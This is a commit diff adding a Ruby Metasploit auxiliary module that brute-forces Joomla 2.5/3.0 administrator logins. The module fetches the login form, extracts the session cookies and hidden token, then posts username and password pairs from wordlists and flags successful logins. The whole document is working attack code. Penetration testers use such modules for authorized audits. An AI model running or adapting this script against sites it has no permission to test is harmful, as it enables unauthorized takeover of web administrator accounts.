1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'rex/proto/ntlm/message'
8
+
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Auxiliary ::Report
14
+ include Msf ::Auxiliary ::AuthBrute
15
+
16
+ include Msf ::Auxiliary ::Scanner
17
+
18
+ def initialize
19
+ super (
20
+ 'Name' => 'Joomla Bruteforce Login Utility' ,
21
+ 'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks' ,
22
+ 'Author' => [ 'luisco100[at]gmail.com' ] ,
23
+ 'References' =>
24
+ [
25
+ [ 'CVE' , '1999-0502' ] # Weak password Joomla
26
+ ] ,
27
+ 'License' => MSF_LICENSE
28
+ )
29
+
30
+ register_options (
31
+ [
32
+ OptPath . new ( 'USERPASS_FILE' , [ false , "File containing users and passwords separated by space, one pair per line" ,
33
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_userpass.txt" ) ] ) ,
34
+ OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
35
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_users.txt" ) ] ) ,
36
+ OptPath . new ( 'PASS_FILE' , [ false , "File containing passwords, one per line" ,
37
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_pass.txt" ) ] ) ,
38
+ OptString . new ( 'AUTH_URI' , [ true , "The URI to authenticate against (default:auto)" , "/administrator/index.php" ] ) ,
39
+ OptString . new ( 'FORM_URI' , [ false , "The FORM URI to authenticate against (default:auto)" , "/administrator" ] ) ,
40
+ OptString . new ( 'USER_VARIABLE' , [ false , "The name of the variable for the user field" , "username" ] ) ,
41
+ OptString . new ( 'PASS_VARIABLE' , [ false , "The name of the variable for the password field" , "passwd" ] ) ,
42
+ OptString . new ( 'WORD_ERROR' , [ false , "The word of message for detect that login fail" , "mod-login-username" ] ) ,
43
+ OptString . new ( 'REQUEST_TYPE' , [ false , "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)" , "POST" ] ) ,
44
+ OptString . new ( 'UserAgent' , [ true , 'The HTTP User-Agent sent in the request' , 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ] ) ,
45
+ ] , self . class )
46
+ register_autofilter_ports ( [ 80 , 443 , 8080 , 8081 , 8000 , 8008 , 8443 , 8444 , 8880 , 8888 ] )
47
+ end
48
+
49
+ def find_auth_uri
50
+
51
+ if datastore [ 'AUTH_URI' ] && datastore [ 'AUTH_URI' ] . length > 0
52
+ paths = [ datastore [ 'AUTH_URI' ] ]
53
+ else
54
+ paths = %W{
55
+ /
56
+ /administrator/
57
+ }
58
+ end
59
+
60
+ paths . each do |path |
61
+ res = send_request_cgi ( {
62
+ 'uri' => path ,
63
+ 'method' => 'GET'
64
+ } , 10 )
65
+
66
+ next unless res
67
+ if res . code == 301 || res . code == 302 && res . headers [ 'Location' ] && res . headers [ 'Location' ] !~ /^http/
68
+ path = res . headers [ 'Location' ]
69
+ vprint_status ( "Following redirect: #{ path } " )
70
+ res = send_request_cgi ( {
71
+ 'uri' => path ,
72
+ 'method' => 'GET'
73
+ } )
74
+ next unless res
75
+ end
76
+
77
+ return path
78
+ end
79
+
80
+ return nil
81
+ end
82
+
83
+ def target_url
84
+ proto = "http"
85
+ if rport == 443 || ssl
86
+ proto = "https"
87
+ end
88
+ "#{ proto } ://#{ rhost } :#{ rport } #{ @uri . to_s } "
89
+ end
90
+
91
+ def run_host ( ip )
92
+
93
+ @uri = find_auth_uri
94
+
95
+ if ! @uri
96
+ print_error ( "#{ target_url } No URI found that asks for HTTP authentication" )
97
+ return
98
+ end
99
+
100
+ @uri = "/#{ @uri } " if @uri [ 0 , 1 ] != "/"
101
+
102
+ print_status ( "Attempting to login to #{ target_url } " )
103
+
104
+ each_user_pass { |user , pass |
105
+ do_login ( user , pass )
106
+ }
107
+ end
108
+
109
+ def do_login ( user = 'admin' , pass = 'admin' )
110
+ vprint_status ( "#{ target_url } - Trying username:'#{ user } ' with password:'#{ pass } '" )
111
+
112
+ response = do_http_login ( user , pass )
113
+ result = determine_result ( response )
114
+
115
+ if result == :success
116
+ print_good ( "#{ target_url } - Successful login '#{ user } ' : '#{ pass } '" )
117
+ return :abort if ( datastore [ 'STOP_ON_SUCCESS' ] )
118
+ return :next_user
119
+ else
120
+ vprint_error ( "#{ target_url } - Failed to login as '#{ user } '" )
121
+ return
122
+ end
123
+ end
124
+
125
+ def do_http_login ( user , pass )
126
+
127
+ @uri_mod = @uri
128
+
129
+ if datastore [ 'REQUEST_TYPE' ] == "GET"
130
+
131
+ @uri_mod = "#{ @uri } ?username=#{ user } &psd=#{ pass } "
132
+
133
+ begin
134
+ response = send_request_cgi ( {
135
+ 'uri' => @uri_mod ,
136
+ 'method' => datastore [ 'REQUEST_TYPE' ] ,
137
+ 'username' => user ,
138
+ 'password' => pass
139
+ } )
140
+ return response
141
+ rescue ::Rex ::ConnectionError
142
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
143
+ return nil
144
+ end
145
+ else
146
+
147
+ begin
148
+
149
+ user_var = datastore [ 'USER_VARIABLE' ]
150
+ pass_var = datastore [ 'PASS_VARIABLE' ]
151
+
152
+ referer_var = "http://#{ rhost } /administrator/index.php"
153
+ ctype = 'application/x-www-form-urlencoded'
154
+
155
+ uid , cval , hidden_value = get_login_cookie
156
+
157
+ if uid
158
+ index_cookie = 0
159
+ value_cookie = ""
160
+
161
+ uid . each do |val_uid |
162
+ value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ index_cookie ] . strip } ;"
163
+ index_cookie = index_cookie +1
164
+ end
165
+
166
+ value_cookie = value_cookie
167
+ vprint_status ( "Target #{ target_url } ,Value of cookie ( #{ value_cookie } ), Hidden ( #{ hidden_value } =1 )" )
168
+
169
+ data = "#{ user_var } =#{ user } &" \
170
+ "#{ pass_var } =#{ pass } &" \
171
+ "lang=&" \
172
+ "option=com_login&" \
173
+ "task=login&" \
174
+ "return=aW5kZXgucGhw&" \
175
+ "#{ hidden_value } =1"
176
+
177
+ response = send_request_cgi ( {
178
+ 'uri' => @uri_mod ,
179
+ 'method' => datastore [ 'REQUEST_TYPE' ] ,
180
+ 'cookie' => "#{ value_cookie } " ,
181
+ 'data' => data ,
182
+ 'headers' =>
183
+ {
184
+ 'Content-Type' => ctype ,
185
+ 'Referer' => referer_var ,
186
+ 'User-Agent' => datastore [ 'UserAgent' ] ,
187
+ } ,
188
+ } )
189
+
190
+ vprint_status ( "#{ target_url } -> First Response Code : #{ response . code } " )
191
+
192
+ if ( response . code == 301 || response . code == 302 || response . code == 303 ) && response . headers [ 'Location' ]
193
+
194
+ path = response . headers [ 'Location' ]
195
+ print_status ( "Following redirect Response: #{ path } " )
196
+
197
+ response = send_request_raw ( {
198
+ 'uri' => path ,
199
+ 'method' => 'GET' ,
200
+ 'cookie' => "#{ value_cookie } " ,
201
+ } , 30 )
202
+ end
203
+
204
+ return response
205
+ else
206
+ print_error ( "#{ target_url } - Failed to get Cookies" )
207
+ return nil
208
+ end
209
+ rescue ::Rex ::ConnectionError
210
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
211
+ return nil
212
+ end
213
+ end
214
+ end
215
+
216
+ def determine_result ( response )
217
+
218
+ return :abort unless response . kind_of? Rex ::Proto ::Http ::Response
219
+ return :abort unless response . code
220
+
221
+ if [ 200 , 301 , 302 ] . include? ( response . code )
222
+
223
+ #print_status("Response: #{response.headers}")
224
+ #print_status("Response Code: #{response.body}")
225
+
226
+ if response . to_s . include? datastore [ 'WORD_ERROR' ]
227
+ return :fail
228
+ else
229
+ return :success
230
+ end
231
+
232
+ end
233
+ return :fail
234
+ end
235
+
236
+ def get_login_cookie
237
+
238
+ uri = normalize_uri ( datastore [ 'FORM_URI' ] )
239
+ uid = Array . new
240
+ cval = Array . new
241
+ valor_input_id = ''
242
+
243
+ res = send_request_cgi ( { 'uri' => uri , 'method' => 'GET' } )
244
+
245
+ if ( res . code == 301 )
246
+ path = res . headers [ 'Location' ]
247
+ vprint_status ( "Following redirect: #{ path } " )
248
+ res = send_request_cgi ( {
249
+ 'uri' => path ,
250
+ 'method' => 'GET'
251
+ } , 10 )
252
+ end
253
+
254
+ #print_status("Response Get login cookie: #{res.to_s}")
255
+
256
+ if res && res . code == 200 && res . headers [ 'Set-Cookie' ]
257
+ #Identify login form and get the session variable validation of Joomla
258
+ if res . body && res . body =~ /<form action=([^\> ]+)\> (.*)<\/ form>/mi
259
+
260
+ form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login"\> (.*)<\/ form>/mi )
261
+
262
+ if form . length == 1 #is not Joomla 2.5
263
+ print_error ( "Testing Form Joomla 3.0" )
264
+ form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login" class="form-inline"\> (.*)<\/ form>/mi )
265
+ end
266
+
267
+ unless form
268
+ print_error ( "Joomla Form Not Found" )
269
+ form = res . body . split ( /<form id="login-form" action=([^\> ]+)\> (.*)<\/ form>/mi )
270
+ end
271
+
272
+ input_hidden = form [ 2 ] . split ( /<input type="hidden"([^\> ]+)\/ >/mi )
273
+
274
+ print_status ( "--------> Joomla Form Found <--------" )
275
+
276
+ input_id = input_hidden [ 7 ] . split ( "\" " )
277
+
278
+ valor_input_id = input_id [ 1 ]
279
+ end
280
+
281
+ #Get the name of the cookie variable Joomla
282
+
283
+ #print_status("cookie = #{res.headers['Set-Cookie']}")
284
+ res . headers [ 'Set-Cookie' ] . split ( ';' ) . each { |c |
285
+ if c . split ( '=' ) [ 0 ] . length > 10
286
+ uid . push ( c . split ( '=' ) [ 0 ] )
287
+ cval . push ( c . split ( '=' ) [ 1 ] )
288
+ end
289
+ }
290
+ return uid , cval , valor_input_id . strip
291
+ end
292
+ return nil
293
+ end
294
+ end
0 commit comments